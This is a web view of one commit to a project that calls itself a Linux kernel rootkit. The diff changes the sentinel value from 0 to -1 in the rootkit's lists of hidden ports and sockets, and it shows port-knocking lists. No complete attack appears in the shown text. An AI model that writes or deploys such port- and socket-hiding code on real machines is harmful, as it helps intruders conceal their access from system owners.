linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 833b7f41a2f04cac8fc4d42f512a7c56914680d4
parent 259b7b02bd8f741770a23f73a228b2fb20429576
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 21:30:58 +0100

moves from 0-check to -1-check

Diffstat:
Msrc/porthide.c | 7++++---
Msrc/sockhide.c | 4++--
2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/src/porthide.c b/src/porthide.c @@ -45,7 +45,7 @@ knock_list_t ips_stage3 = { knock_list_t_ptr ips_stage3_tail = &ips_stage3; lport_list_t hidden_lports = { - .lport = 0, + .lport = -1, .prev = NULL, .next = NULL, }; @@ -88,8 +88,9 @@ clear_hidden_lports(void) { knock_list_t_ptr i; - i = ips_stage1_tail; ip_t no_ip = { 0 }; + + i = ips_stage1_tail; if (memcmp(i->ip, no_ip, (ip->version == v4 ? 4 : 16))) while ((i = remove_knock_from_list(i, &i, i->ip, i->version))); @@ -149,7 +150,7 @@ remove_lport_from_list(lport_list_t_ptr list, lport_t lport) { lport_list_t_ptr i = find_lport_in_list(list, lport), ret = NULL; - if (i && (i->lport != 0)) { + if (i && (i->lport != -1)) { if (i->next) i->next->prev = i->prev; else diff --git a/src/sockhide.c b/src/sockhide.c @@ -13,7 +13,7 @@ #include "porthide.h" port_list_t hidden_ports = { - .port = 0, + .port = -1, .proto = -1, .prev = NULL, .next = NULL, @@ -167,7 +167,7 @@ remove_port_from_list(port_list_t_ptr list, port_t port, proto_t proto) { port_list_t_ptr i = find_port_in_list(list, port, proto), ret = NULL; - if (i && (i->port != 0 && i->proto != -1)) { + if (i && (i->port != -1 && i->proto != -1)) { if (i->next) i->next->prev = i->prev; else